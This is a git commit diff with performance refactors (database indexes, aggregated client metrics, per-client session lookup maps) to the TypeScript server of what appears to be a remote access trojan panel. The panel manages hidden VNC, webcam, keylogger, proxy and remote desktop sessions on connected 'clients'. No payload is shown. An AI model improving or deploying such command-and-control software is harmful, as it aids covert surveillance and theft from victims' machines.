big server optimizations
This commit is contained in:
@@ -36,6 +36,15 @@ try {
|
|||||||
try {
|
try {
|
||||||
db.run(`ALTER TABLE clients ADD COLUMN ip TEXT`);
|
db.run(`ALTER TABLE clients ADD COLUMN ip TEXT`);
|
||||||
} catch {}
|
} catch {}
|
||||||
|
db.run(
|
||||||
|
`CREATE INDEX IF NOT EXISTS idx_clients_online_last_seen ON clients(online, last_seen DESC);`,
|
||||||
|
);
|
||||||
|
db.run(
|
||||||
|
`CREATE INDEX IF NOT EXISTS idx_clients_os_last_seen ON clients(os, last_seen DESC);`,
|
||||||
|
);
|
||||||
|
db.run(
|
||||||
|
`CREATE INDEX IF NOT EXISTS idx_clients_ping_ms ON clients(ping_ms);`,
|
||||||
|
);
|
||||||
|
|
||||||
db.run(`
|
db.run(`
|
||||||
CREATE TABLE IF NOT EXISTS banned_ips (
|
CREATE TABLE IF NOT EXISTS banned_ips (
|
||||||
@@ -321,6 +330,68 @@ export function listClients(filters: ListFilters): ListResult {
|
|||||||
return { page, pageSize, total: totalRow.c, online: onlineRow.c, items };
|
return { page, pageSize, total: totalRow.c, online: onlineRow.c, items };
|
||||||
}
|
}
|
||||||
|
|
||||||
|
export type ClientMetricsSummary = {
|
||||||
|
total: number;
|
||||||
|
online: number;
|
||||||
|
byOS: Record<string, number>;
|
||||||
|
byCountry: Record<string, number>;
|
||||||
|
byOSOnline: Record<string, number>;
|
||||||
|
byCountryOnline: Record<string, number>;
|
||||||
|
};
|
||||||
|
|
||||||
|
export function getClientMetricsSummary(): ClientMetricsSummary {
|
||||||
|
const counts = db
|
||||||
|
.query<{ total: number; online: number }>(
|
||||||
|
`SELECT COUNT(*) as total, SUM(CASE WHEN online=1 THEN 1 ELSE 0 END) as online FROM clients`,
|
||||||
|
)
|
||||||
|
.get() ?? { total: 0, online: 0 };
|
||||||
|
|
||||||
|
const osRows = db
|
||||||
|
.query<{ key: string; total: number; online: number }>(
|
||||||
|
`SELECT
|
||||||
|
COALESCE(NULLIF(os, ''), 'unknown') as key,
|
||||||
|
COUNT(*) as total,
|
||||||
|
SUM(CASE WHEN online=1 THEN 1 ELSE 0 END) as online
|
||||||
|
FROM clients
|
||||||
|
GROUP BY COALESCE(NULLIF(os, ''), 'unknown')`,
|
||||||
|
)
|
||||||
|
.all();
|
||||||
|
|
||||||
|
const countryRows = db
|
||||||
|
.query<{ key: string; total: number; online: number }>(
|
||||||
|
`SELECT
|
||||||
|
COALESCE(NULLIF(country, ''), 'ZZ') as key,
|
||||||
|
COUNT(*) as total,
|
||||||
|
SUM(CASE WHEN online=1 THEN 1 ELSE 0 END) as online
|
||||||
|
FROM clients
|
||||||
|
GROUP BY COALESCE(NULLIF(country, ''), 'ZZ')`,
|
||||||
|
)
|
||||||
|
.all();
|
||||||
|
|
||||||
|
const byOS: Record<string, number> = {};
|
||||||
|
const byOSOnline: Record<string, number> = {};
|
||||||
|
for (const row of osRows) {
|
||||||
|
byOS[row.key] = Number(row.total) || 0;
|
||||||
|
byOSOnline[row.key] = Number(row.online) || 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
const byCountry: Record<string, number> = {};
|
||||||
|
const byCountryOnline: Record<string, number> = {};
|
||||||
|
for (const row of countryRows) {
|
||||||
|
byCountry[row.key] = Number(row.total) || 0;
|
||||||
|
byCountryOnline[row.key] = Number(row.online) || 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
return {
|
||||||
|
total: Number(counts.total) || 0,
|
||||||
|
online: Number(counts.online) || 0,
|
||||||
|
byOS,
|
||||||
|
byCountry,
|
||||||
|
byOSOnline,
|
||||||
|
byCountryOnline,
|
||||||
|
};
|
||||||
|
}
|
||||||
|
|
||||||
export type AutoScriptTrigger = "on_connect" | "on_first_connect" | "on_connect_once";
|
export type AutoScriptTrigger = "on_connect" | "on_first_connect" | "on_connect_once";
|
||||||
|
|
||||||
export type AutoScript = {
|
export type AutoScript = {
|
||||||
|
|||||||
@@ -1,9 +1,7 @@
|
|||||||
import { authenticateRequest } from "../../auth";
|
import { authenticateRequest } from "../../auth";
|
||||||
import * as clientManager from "../../clientManager";
|
|
||||||
import { AuditAction, getAuditLogs, logAudit } from "../../auditLog";
|
import { AuditAction, getAuditLogs, logAudit } from "../../auditLog";
|
||||||
import { getConfig, updateSecurityConfig, updateTlsConfig } from "../../config";
|
import { getConfig, updateSecurityConfig, updateTlsConfig } from "../../config";
|
||||||
import { listClients } from "../../db";
|
import { getClientMetricsSummary } from "../../db";
|
||||||
import { logger } from "../../logger";
|
|
||||||
import { metrics } from "../../metrics";
|
import { metrics } from "../../metrics";
|
||||||
import { requirePermission } from "../../rbac";
|
import { requirePermission } from "../../rbac";
|
||||||
import { runCertbotSetup } from "../certbot-setup";
|
import { runCertbotSetup } from "../certbot-setup";
|
||||||
@@ -34,40 +32,12 @@ export async function handleMiscRoutes(
|
|||||||
|
|
||||||
const snapshot = metrics.getSnapshot();
|
const snapshot = metrics.getSnapshot();
|
||||||
|
|
||||||
const clientList = listClients({ page: 1, pageSize: 10000, search: "", sort: "last_seen_desc" });
|
const clientSummary = getClientMetricsSummary();
|
||||||
logger.debug(
|
snapshot.clients.total = clientSummary.total;
|
||||||
`[metrics] Database reports: total=${clientList.total}, online=${clientList.online}, items=${clientList.items.length}`,
|
snapshot.clients.online = clientSummary.online;
|
||||||
);
|
snapshot.clients.offline = clientSummary.total - clientSummary.online;
|
||||||
logger.debug(`[metrics] In-memory clients map size: ${clientManager.getClientCount()}`);
|
snapshot.clients.byOS = clientSummary.byOS;
|
||||||
|
snapshot.clients.byCountry = clientSummary.byCountry;
|
||||||
snapshot.clients.total = clientList.total;
|
|
||||||
snapshot.clients.online = clientList.online;
|
|
||||||
snapshot.clients.offline = clientList.total - clientList.online;
|
|
||||||
|
|
||||||
const byOS: Record<string, number> = {};
|
|
||||||
const byCountry: Record<string, number> = {};
|
|
||||||
const byOSOnline: Record<string, number> = {};
|
|
||||||
const byCountryOnline: Record<string, number> = {};
|
|
||||||
let onlineCounted = 0;
|
|
||||||
const totalItems = clientList.items.length;
|
|
||||||
for (const item of clientList.items) {
|
|
||||||
if (item.os) {
|
|
||||||
byOS[item.os] = (byOS[item.os] || 0) + 1;
|
|
||||||
}
|
|
||||||
if (item.country) {
|
|
||||||
byCountry[item.country] = (byCountry[item.country] || 0) + 1;
|
|
||||||
}
|
|
||||||
if (!item.online) continue;
|
|
||||||
onlineCounted++;
|
|
||||||
if (item.os) {
|
|
||||||
byOSOnline[item.os] = (byOSOnline[item.os] || 0) + 1;
|
|
||||||
}
|
|
||||||
if (item.country) {
|
|
||||||
byCountryOnline[item.country] = (byCountryOnline[item.country] || 0) + 1;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
snapshot.clients.byOS = byOS;
|
|
||||||
snapshot.clients.byCountry = byCountry;
|
|
||||||
|
|
||||||
snapshot.sessions.console = deps.getConsoleSessionCount();
|
snapshot.sessions.console = deps.getConsoleSessionCount();
|
||||||
snapshot.sessions.remoteDesktop = deps.getRdSessionCount();
|
snapshot.sessions.remoteDesktop = deps.getRdSessionCount();
|
||||||
|
|||||||
@@ -9,7 +9,7 @@ import { decodeMessage, encodeMessage, type WireMessage } from "../../protocol";
|
|||||||
import * as sessionManager from "../../sessions/sessionManager";
|
import * as sessionManager from "../../sessions/sessionManager";
|
||||||
import type { SocketData } from "../../sessions/types";
|
import type { SocketData } from "../../sessions/types";
|
||||||
import type { ClientInfo } from "../../types";
|
import type { ClientInfo } from "../../types";
|
||||||
import { handleFrame, handleHello, handlePing, handlePong } from "../../wsHandlers";
|
import { clearClientSyncState, handleFrame, handleHello, handlePing, handlePong } from "../../wsHandlers";
|
||||||
import { getMaxPayloadLimit, getMessageByteLength, isAllowedClientMessageType } from "../../wsValidation";
|
import { getMaxPayloadLimit, getMessageByteLength, isAllowedClientMessageType } from "../../wsValidation";
|
||||||
|
|
||||||
type PendingScript = {
|
type PendingScript = {
|
||||||
@@ -326,12 +326,12 @@ export function handleWebSocketClose(
|
|||||||
for (const [sid, sess] of sessionManager.getAllRdSessions().entries()) {
|
for (const [sid, sess] of sessionManager.getAllRdSessions().entries()) {
|
||||||
if (sess.viewer === ws) {
|
if (sess.viewer === ws) {
|
||||||
removedClientId = sess.clientId;
|
removedClientId = sess.clientId;
|
||||||
sessionManager.getAllRdSessions().delete(sid);
|
sessionManager.deleteRdSession(sid);
|
||||||
break;
|
break;
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
const stillViewing = Array.from(sessionManager.getAllRdSessions().values()).some((s) => s.clientId === removedClientId);
|
const stillViewing = sessionManager.hasRdSessionsForClient(removedClientId);
|
||||||
if (!stillViewing) {
|
if (!stillViewing) {
|
||||||
const target = clientManager.getClient(removedClientId);
|
const target = clientManager.getClient(removedClientId);
|
||||||
deps.sendDesktopCommand(target, "desktop_stop", {});
|
deps.sendDesktopCommand(target, "desktop_stop", {});
|
||||||
@@ -346,12 +346,12 @@ export function handleWebSocketClose(
|
|||||||
for (const [sid, sess] of sessionManager.getAllWebcamSessions().entries()) {
|
for (const [sid, sess] of sessionManager.getAllWebcamSessions().entries()) {
|
||||||
if (sess.viewer === ws) {
|
if (sess.viewer === ws) {
|
||||||
removedClientId = sess.clientId;
|
removedClientId = sess.clientId;
|
||||||
sessionManager.getAllWebcamSessions().delete(sid);
|
sessionManager.deleteWebcamSession(sid);
|
||||||
break;
|
break;
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
const stillViewing = Array.from(sessionManager.getAllWebcamSessions().values()).some((s) => s.clientId === removedClientId);
|
const stillViewing = sessionManager.hasWebcamSessionsForClient(removedClientId);
|
||||||
if (!stillViewing) {
|
if (!stillViewing) {
|
||||||
const target = clientManager.getClient(removedClientId);
|
const target = clientManager.getClient(removedClientId);
|
||||||
deps.sendDesktopCommand(target, "webcam_stop", {});
|
deps.sendDesktopCommand(target, "webcam_stop", {});
|
||||||
@@ -366,12 +366,12 @@ export function handleWebSocketClose(
|
|||||||
for (const [sid, sess] of sessionManager.getAllHvncSessions().entries()) {
|
for (const [sid, sess] of sessionManager.getAllHvncSessions().entries()) {
|
||||||
if (sess.viewer === ws) {
|
if (sess.viewer === ws) {
|
||||||
removedClientId = sess.clientId;
|
removedClientId = sess.clientId;
|
||||||
sessionManager.getAllHvncSessions().delete(sid);
|
sessionManager.deleteHvncSession(sid);
|
||||||
break;
|
break;
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
const stillViewing = Array.from(sessionManager.getAllHvncSessions().values()).some((s) => s.clientId === removedClientId);
|
const stillViewing = sessionManager.hasHvncSessionsForClient(removedClientId);
|
||||||
if (!stillViewing) {
|
if (!stillViewing) {
|
||||||
const target = clientManager.getClient(removedClientId);
|
const target = clientManager.getClient(removedClientId);
|
||||||
if (target) {
|
if (target) {
|
||||||
@@ -424,6 +424,7 @@ export function handleWebSocketClose(
|
|||||||
}
|
}
|
||||||
|
|
||||||
clientManager.deleteClient(clientId);
|
clientManager.deleteClient(clientId);
|
||||||
|
clearClientSyncState(clientId);
|
||||||
deps.notifyConsoleClosed(clientId, "Client disconnected");
|
deps.notifyConsoleClosed(clientId, "Client disconnected");
|
||||||
setOnlineState(clientId, false);
|
setOnlineState(clientId, false);
|
||||||
deps.clearPendingNotificationScreenshots(clientId);
|
deps.clearPendingNotificationScreenshots(clientId);
|
||||||
|
|||||||
@@ -27,8 +27,12 @@ export function createWebSocketRuntime<TLifecycleDeps>(deps: {
|
|||||||
handleWebSocketMessage: MessageHandler<TLifecycleDeps>;
|
handleWebSocketMessage: MessageHandler<TLifecycleDeps>;
|
||||||
handleWebSocketClose: CloseHandler<TLifecycleDeps>;
|
handleWebSocketClose: CloseHandler<TLifecycleDeps>;
|
||||||
}) {
|
}) {
|
||||||
|
const wsDeflateEnabled = String(process.env.OVERLORD_WS_PERMESSAGE_DEFLATE || "true")
|
||||||
|
.trim()
|
||||||
|
.toLowerCase() !== "false";
|
||||||
|
|
||||||
return {
|
return {
|
||||||
perMessageDeflate: true,
|
perMessageDeflate: wsDeflateEnabled,
|
||||||
maxPayloadLength: Math.max(deps.maxClientPayloadBytes, deps.maxViewerPayloadBytes),
|
maxPayloadLength: Math.max(deps.maxClientPayloadBytes, deps.maxViewerPayloadBytes),
|
||||||
idleTimeout: 255,
|
idleTimeout: 255,
|
||||||
sendPings: true,
|
sendPings: true,
|
||||||
|
|||||||
@@ -94,8 +94,7 @@ export function notifyRdInputLatency(commandId: string) {
|
|||||||
rdInputPending.delete(commandId);
|
rdInputPending.delete(commandId);
|
||||||
|
|
||||||
const ms = Date.now() - pending.sentAt;
|
const ms = Date.now() - pending.sentAt;
|
||||||
for (const session of sessionManager.getAllRdSessions().values()) {
|
for (const session of sessionManager.getRdSessionsForClient(pending.clientId)) {
|
||||||
if (session.clientId !== pending.clientId) continue;
|
|
||||||
safeSendViewer(session.viewer, { type: "input_latency", ms, kind: pending.kind, commandId });
|
safeSendViewer(session.viewer, { type: "input_latency", ms, kind: pending.kind, commandId });
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@@ -188,7 +187,7 @@ export function handleRemoteDesktopViewerOpen(ws: ServerWebSocket<SocketData>) {
|
|||||||
const sessionId = uuidv4();
|
const sessionId = uuidv4();
|
||||||
const target = clientManager.getClient(clientId);
|
const target = clientManager.getClient(clientId);
|
||||||
const session: RemoteDesktopViewer = { id: sessionId, clientId, viewer: ws, createdAt: Date.now() };
|
const session: RemoteDesktopViewer = { id: sessionId, clientId, viewer: ws, createdAt: Date.now() };
|
||||||
sessionManager.getAllRdSessions().set(sessionId, session);
|
sessionManager.addRdSession(session);
|
||||||
safeSendViewer(ws, { type: "ready", sessionId, clientId, clientOnline: !!target });
|
safeSendViewer(ws, { type: "ready", sessionId, clientId, clientOnline: !!target });
|
||||||
if (!target) {
|
if (!target) {
|
||||||
safeSendViewer(ws, { type: "status", status: "offline", reason: "Client is offline", sessionId });
|
safeSendViewer(ws, { type: "status", status: "offline", reason: "Client is offline", sessionId });
|
||||||
@@ -198,8 +197,7 @@ export function handleRemoteDesktopViewerOpen(ws: ServerWebSocket<SocketData>) {
|
|||||||
}
|
}
|
||||||
|
|
||||||
export function notifyRemoteDesktopStatus(clientId: string, status: string, reason?: string) {
|
export function notifyRemoteDesktopStatus(clientId: string, status: string, reason?: string) {
|
||||||
for (const session of sessionManager.getAllRdSessions().values()) {
|
for (const session of sessionManager.getRdSessionsForClient(clientId)) {
|
||||||
if (session.clientId !== clientId) continue;
|
|
||||||
safeSendViewer(session.viewer, {
|
safeSendViewer(session.viewer, {
|
||||||
type: "status",
|
type: "status",
|
||||||
status,
|
status,
|
||||||
@@ -357,8 +355,7 @@ function handleRemoteDesktopFrame(payload: any) {
|
|||||||
if (!state.isStreaming) {
|
if (!state.isStreaming) {
|
||||||
rdStreamingState.set(clientId, { ...state, isStreaming: true });
|
rdStreamingState.set(clientId, { ...state, isStreaming: true });
|
||||||
}
|
}
|
||||||
for (const session of sessionManager.getAllRdSessions().values()) {
|
for (const session of sessionManager.getRdSessionsForClient(clientId)) {
|
||||||
if (session.clientId !== clientId) continue;
|
|
||||||
const sentBytes = safeSendViewerFrame(session.viewer, bytes, header);
|
const sentBytes = safeSendViewerFrame(session.viewer, bytes, header);
|
||||||
const t1 = typeof performance !== "undefined" && performance.now ? performance.now() : Date.now();
|
const t1 = typeof performance !== "undefined" && performance.now ? performance.now() : Date.now();
|
||||||
rdSendStats.frames += 1;
|
rdSendStats.frames += 1;
|
||||||
@@ -371,8 +368,7 @@ function handleRemoteDesktopFrame(payload: any) {
|
|||||||
(globalThis as any).__rdBroadcast = (clientId: string, bytes: Uint8Array, header?: any): boolean => {
|
(globalThis as any).__rdBroadcast = (clientId: string, bytes: Uint8Array, header?: any): boolean => {
|
||||||
let sent = false;
|
let sent = false;
|
||||||
const t0 = typeof performance !== "undefined" && performance.now ? performance.now() : Date.now();
|
const t0 = typeof performance !== "undefined" && performance.now ? performance.now() : Date.now();
|
||||||
for (const session of sessionManager.getAllRdSessions().values()) {
|
for (const session of sessionManager.getRdSessionsForClient(clientId)) {
|
||||||
if (session.clientId !== clientId) continue;
|
|
||||||
const sentBytes = safeSendViewerFrame(session.viewer, bytes, header);
|
const sentBytes = safeSendViewerFrame(session.viewer, bytes, header);
|
||||||
const t1 = typeof performance !== "undefined" && performance.now ? performance.now() : Date.now();
|
const t1 = typeof performance !== "undefined" && performance.now ? performance.now() : Date.now();
|
||||||
rdSendStats.frames += 1;
|
rdSendStats.frames += 1;
|
||||||
@@ -392,7 +388,7 @@ export function handleWebcamViewerOpen(ws: ServerWebSocket<SocketData>) {
|
|||||||
const sessionId = uuidv4();
|
const sessionId = uuidv4();
|
||||||
const target = clientManager.getClient(clientId);
|
const target = clientManager.getClient(clientId);
|
||||||
const session: RemoteDesktopViewer = { id: sessionId, clientId, viewer: ws, createdAt: Date.now() };
|
const session: RemoteDesktopViewer = { id: sessionId, clientId, viewer: ws, createdAt: Date.now() };
|
||||||
sessionManager.getAllWebcamSessions().set(sessionId, session);
|
sessionManager.addWebcamSession(session);
|
||||||
safeSendViewer(ws, { type: "ready", sessionId, clientId, clientOnline: !!target });
|
safeSendViewer(ws, { type: "ready", sessionId, clientId, clientOnline: !!target });
|
||||||
if (!target) {
|
if (!target) {
|
||||||
safeSendViewer(ws, { type: "status", status: "offline", reason: "Client is offline", sessionId });
|
safeSendViewer(ws, { type: "status", status: "offline", reason: "Client is offline", sessionId });
|
||||||
@@ -403,8 +399,7 @@ export function handleWebcamViewerOpen(ws: ServerWebSocket<SocketData>) {
|
|||||||
}
|
}
|
||||||
|
|
||||||
export function handleWebcamDevices(clientId: string, payload: any) {
|
export function handleWebcamDevices(clientId: string, payload: any) {
|
||||||
for (const session of sessionManager.getAllWebcamSessions().values()) {
|
for (const session of sessionManager.getWebcamSessionsForClient(clientId)) {
|
||||||
if (session.clientId !== clientId) continue;
|
|
||||||
safeSendViewer(session.viewer, payload);
|
safeSendViewer(session.viewer, payload);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@@ -471,7 +466,7 @@ export function handleHVNCViewerOpen(ws: ServerWebSocket<SocketData>) {
|
|||||||
const sessionId = uuidv4();
|
const sessionId = uuidv4();
|
||||||
const target = clientManager.getClient(clientId);
|
const target = clientManager.getClient(clientId);
|
||||||
const session: RemoteDesktopViewer = { id: sessionId, clientId, viewer: ws, createdAt: Date.now() };
|
const session: RemoteDesktopViewer = { id: sessionId, clientId, viewer: ws, createdAt: Date.now() };
|
||||||
sessionManager.getAllHvncSessions().set(sessionId, session);
|
sessionManager.addHvncSession(session);
|
||||||
safeSendViewer(ws, { type: "ready", sessionId, clientId, clientOnline: !!target });
|
safeSendViewer(ws, { type: "ready", sessionId, clientId, clientOnline: !!target });
|
||||||
if (!target) {
|
if (!target) {
|
||||||
safeSendViewer(ws, { type: "status", status: "offline", reason: "Client is offline", sessionId });
|
safeSendViewer(ws, { type: "status", status: "offline", reason: "Client is offline", sessionId });
|
||||||
@@ -481,8 +476,7 @@ export function handleHVNCViewerOpen(ws: ServerWebSocket<SocketData>) {
|
|||||||
}
|
}
|
||||||
|
|
||||||
function notifyHVNCStatus(clientId: string, status: string, reason?: string) {
|
function notifyHVNCStatus(clientId: string, status: string, reason?: string) {
|
||||||
for (const session of sessionManager.getAllHvncSessions().values()) {
|
for (const session of sessionManager.getHvncSessionsForClient(clientId)) {
|
||||||
if (session.clientId !== clientId) continue;
|
|
||||||
safeSendViewer(session.viewer, {
|
safeSendViewer(session.viewer, {
|
||||||
type: "status",
|
type: "status",
|
||||||
status,
|
status,
|
||||||
@@ -598,8 +592,7 @@ export function sendHVNCCommand(target: ClientInfo, commandType: string, payload
|
|||||||
|
|
||||||
(globalThis as any).__hvncBroadcast = (clientId: string, bytes: Uint8Array, header?: any): boolean => {
|
(globalThis as any).__hvncBroadcast = (clientId: string, bytes: Uint8Array, header?: any): boolean => {
|
||||||
let sent = false;
|
let sent = false;
|
||||||
for (const session of sessionManager.getAllHvncSessions().values()) {
|
for (const session of sessionManager.getHvncSessionsForClient(clientId)) {
|
||||||
if (session.clientId !== clientId) continue;
|
|
||||||
safeSendViewerFrame(session.viewer, bytes, header);
|
safeSendViewerFrame(session.viewer, bytes, header);
|
||||||
sent = true;
|
sent = true;
|
||||||
}
|
}
|
||||||
@@ -608,8 +601,7 @@ export function sendHVNCCommand(target: ClientInfo, commandType: string, payload
|
|||||||
|
|
||||||
(globalThis as any).__webcamBroadcast = (clientId: string, bytes: Uint8Array, header?: any): boolean => {
|
(globalThis as any).__webcamBroadcast = (clientId: string, bytes: Uint8Array, header?: any): boolean => {
|
||||||
let sent = false;
|
let sent = false;
|
||||||
for (const session of sessionManager.getAllWebcamSessions().values()) {
|
for (const session of sessionManager.getWebcamSessionsForClient(clientId)) {
|
||||||
if (session.clientId !== clientId) continue;
|
|
||||||
safeSendViewerFrame(session.viewer, bytes, header);
|
safeSendViewerFrame(session.viewer, bytes, header);
|
||||||
sent = true;
|
sent = true;
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -14,6 +14,9 @@ const consoleSessions = new Map<string, ConsoleSession>();
|
|||||||
const rdSessions = new Map<string, RemoteDesktopViewer>();
|
const rdSessions = new Map<string, RemoteDesktopViewer>();
|
||||||
const webcamSessions = new Map<string, RemoteDesktopViewer>();
|
const webcamSessions = new Map<string, RemoteDesktopViewer>();
|
||||||
const hvncSessions = new Map<string, RemoteDesktopViewer>(); // HVNC uses same structure as RD
|
const hvncSessions = new Map<string, RemoteDesktopViewer>(); // HVNC uses same structure as RD
|
||||||
|
const rdSessionsByClient = new Map<string, Set<string>>();
|
||||||
|
const webcamSessionsByClient = new Map<string, Set<string>>();
|
||||||
|
const hvncSessionsByClient = new Map<string, Set<string>>();
|
||||||
const fileBrowserSessions = new Map<string, FileBrowserViewer>();
|
const fileBrowserSessions = new Map<string, FileBrowserViewer>();
|
||||||
const processSessions = new Map<string, ProcessViewer>();
|
const processSessions = new Map<string, ProcessViewer>();
|
||||||
const notificationSessions = new Map<string, NotificationsViewer>();
|
const notificationSessions = new Map<string, NotificationsViewer>();
|
||||||
@@ -21,6 +24,32 @@ const keyloggerSessions = new Map<string, KeyloggerViewer>();
|
|||||||
const proxySessions = new Map<string, KeyloggerViewer>(); // Reusing KeyloggerViewer interface for consistency
|
const proxySessions = new Map<string, KeyloggerViewer>(); // Reusing KeyloggerViewer interface for consistency
|
||||||
const voiceSessions = new Map<string, VoiceViewer>();
|
const voiceSessions = new Map<string, VoiceViewer>();
|
||||||
|
|
||||||
|
function addSessionToClientIndex(
|
||||||
|
index: Map<string, Set<string>>,
|
||||||
|
clientId: string,
|
||||||
|
sessionId: string,
|
||||||
|
): void {
|
||||||
|
let set = index.get(clientId);
|
||||||
|
if (!set) {
|
||||||
|
set = new Set<string>();
|
||||||
|
index.set(clientId, set);
|
||||||
|
}
|
||||||
|
set.add(sessionId);
|
||||||
|
}
|
||||||
|
|
||||||
|
function removeSessionFromClientIndex(
|
||||||
|
index: Map<string, Set<string>>,
|
||||||
|
clientId: string,
|
||||||
|
sessionId: string,
|
||||||
|
): void {
|
||||||
|
const set = index.get(clientId);
|
||||||
|
if (!set) return;
|
||||||
|
set.delete(sessionId);
|
||||||
|
if (set.size === 0) {
|
||||||
|
index.delete(clientId);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
export function addConsoleSession(session: ConsoleSession): void {
|
export function addConsoleSession(session: ConsoleSession): void {
|
||||||
consoleSessions.set(session.id, session);
|
consoleSessions.set(session.id, session);
|
||||||
}
|
}
|
||||||
@@ -47,10 +76,12 @@ export function getAllConsoleSessions(): Map<string, ConsoleSession> {
|
|||||||
|
|
||||||
export function addRdSession(session: RemoteDesktopViewer): void {
|
export function addRdSession(session: RemoteDesktopViewer): void {
|
||||||
rdSessions.set(session.id, session);
|
rdSessions.set(session.id, session);
|
||||||
|
addSessionToClientIndex(rdSessionsByClient, session.clientId, session.id);
|
||||||
}
|
}
|
||||||
|
|
||||||
export function addWebcamSession(session: RemoteDesktopViewer): void {
|
export function addWebcamSession(session: RemoteDesktopViewer): void {
|
||||||
webcamSessions.set(session.id, session);
|
webcamSessions.set(session.id, session);
|
||||||
|
addSessionToClientIndex(webcamSessionsByClient, session.clientId, session.id);
|
||||||
}
|
}
|
||||||
|
|
||||||
export function getWebcamSession(
|
export function getWebcamSession(
|
||||||
@@ -60,11 +91,31 @@ export function getWebcamSession(
|
|||||||
}
|
}
|
||||||
|
|
||||||
export function deleteWebcamSession(sessionId: string): boolean {
|
export function deleteWebcamSession(sessionId: string): boolean {
|
||||||
return webcamSessions.delete(sessionId);
|
const existing = webcamSessions.get(sessionId);
|
||||||
|
if (!existing) return false;
|
||||||
|
webcamSessions.delete(sessionId);
|
||||||
|
removeSessionFromClientIndex(webcamSessionsByClient, existing.clientId, sessionId);
|
||||||
|
return true;
|
||||||
}
|
}
|
||||||
|
|
||||||
export function getWebcamSessionsByClient(clientId: string): RemoteDesktopViewer[] {
|
export function getWebcamSessionsByClient(clientId: string): RemoteDesktopViewer[] {
|
||||||
return Array.from(webcamSessions.values()).filter((s) => s.clientId === clientId);
|
return getWebcamSessionsForClient(clientId);
|
||||||
|
}
|
||||||
|
|
||||||
|
export function getWebcamSessionsForClient(clientId: string): RemoteDesktopViewer[] {
|
||||||
|
const ids = webcamSessionsByClient.get(clientId);
|
||||||
|
if (!ids || ids.size === 0) return [];
|
||||||
|
const sessions: RemoteDesktopViewer[] = [];
|
||||||
|
for (const id of ids) {
|
||||||
|
const session = webcamSessions.get(id);
|
||||||
|
if (session) sessions.push(session);
|
||||||
|
}
|
||||||
|
return sessions;
|
||||||
|
}
|
||||||
|
|
||||||
|
export function hasWebcamSessionsForClient(clientId: string): boolean {
|
||||||
|
const ids = webcamSessionsByClient.get(clientId);
|
||||||
|
return Boolean(ids && ids.size > 0);
|
||||||
}
|
}
|
||||||
|
|
||||||
export function getAllWebcamSessions(): Map<string, RemoteDesktopViewer> {
|
export function getAllWebcamSessions(): Map<string, RemoteDesktopViewer> {
|
||||||
@@ -78,11 +129,31 @@ export function getRdSession(
|
|||||||
}
|
}
|
||||||
|
|
||||||
export function deleteRdSession(sessionId: string): boolean {
|
export function deleteRdSession(sessionId: string): boolean {
|
||||||
return rdSessions.delete(sessionId);
|
const existing = rdSessions.get(sessionId);
|
||||||
|
if (!existing) return false;
|
||||||
|
rdSessions.delete(sessionId);
|
||||||
|
removeSessionFromClientIndex(rdSessionsByClient, existing.clientId, sessionId);
|
||||||
|
return true;
|
||||||
}
|
}
|
||||||
|
|
||||||
export function getRdSessionsByClient(clientId: string): RemoteDesktopViewer[] {
|
export function getRdSessionsByClient(clientId: string): RemoteDesktopViewer[] {
|
||||||
return Array.from(rdSessions.values()).filter((s) => s.clientId === clientId);
|
return getRdSessionsForClient(clientId);
|
||||||
|
}
|
||||||
|
|
||||||
|
export function getRdSessionsForClient(clientId: string): RemoteDesktopViewer[] {
|
||||||
|
const ids = rdSessionsByClient.get(clientId);
|
||||||
|
if (!ids || ids.size === 0) return [];
|
||||||
|
const sessions: RemoteDesktopViewer[] = [];
|
||||||
|
for (const id of ids) {
|
||||||
|
const session = rdSessions.get(id);
|
||||||
|
if (session) sessions.push(session);
|
||||||
|
}
|
||||||
|
return sessions;
|
||||||
|
}
|
||||||
|
|
||||||
|
export function hasRdSessionsForClient(clientId: string): boolean {
|
||||||
|
const ids = rdSessionsByClient.get(clientId);
|
||||||
|
return Boolean(ids && ids.size > 0);
|
||||||
}
|
}
|
||||||
|
|
||||||
export function getAllRdSessions(): Map<string, RemoteDesktopViewer> {
|
export function getAllRdSessions(): Map<string, RemoteDesktopViewer> {
|
||||||
@@ -93,6 +164,7 @@ export function getAllRdSessions(): Map<string, RemoteDesktopViewer> {
|
|||||||
|
|
||||||
export function addHvncSession(session: RemoteDesktopViewer): void {
|
export function addHvncSession(session: RemoteDesktopViewer): void {
|
||||||
hvncSessions.set(session.id, session);
|
hvncSessions.set(session.id, session);
|
||||||
|
addSessionToClientIndex(hvncSessionsByClient, session.clientId, session.id);
|
||||||
}
|
}
|
||||||
|
|
||||||
export function getHvncSession(
|
export function getHvncSession(
|
||||||
@@ -102,11 +174,31 @@ export function getHvncSession(
|
|||||||
}
|
}
|
||||||
|
|
||||||
export function deleteHvncSession(sessionId: string): boolean {
|
export function deleteHvncSession(sessionId: string): boolean {
|
||||||
return hvncSessions.delete(sessionId);
|
const existing = hvncSessions.get(sessionId);
|
||||||
|
if (!existing) return false;
|
||||||
|
hvncSessions.delete(sessionId);
|
||||||
|
removeSessionFromClientIndex(hvncSessionsByClient, existing.clientId, sessionId);
|
||||||
|
return true;
|
||||||
}
|
}
|
||||||
|
|
||||||
export function getHvncSessionsByClient(clientId: string): RemoteDesktopViewer[] {
|
export function getHvncSessionsByClient(clientId: string): RemoteDesktopViewer[] {
|
||||||
return Array.from(hvncSessions.values()).filter((s) => s.clientId === clientId);
|
return getHvncSessionsForClient(clientId);
|
||||||
|
}
|
||||||
|
|
||||||
|
export function getHvncSessionsForClient(clientId: string): RemoteDesktopViewer[] {
|
||||||
|
const ids = hvncSessionsByClient.get(clientId);
|
||||||
|
if (!ids || ids.size === 0) return [];
|
||||||
|
const sessions: RemoteDesktopViewer[] = [];
|
||||||
|
for (const id of ids) {
|
||||||
|
const session = hvncSessions.get(id);
|
||||||
|
if (session) sessions.push(session);
|
||||||
|
}
|
||||||
|
return sessions;
|
||||||
|
}
|
||||||
|
|
||||||
|
export function hasHvncSessionsForClient(clientId: string): boolean {
|
||||||
|
const ids = hvncSessionsByClient.get(clientId);
|
||||||
|
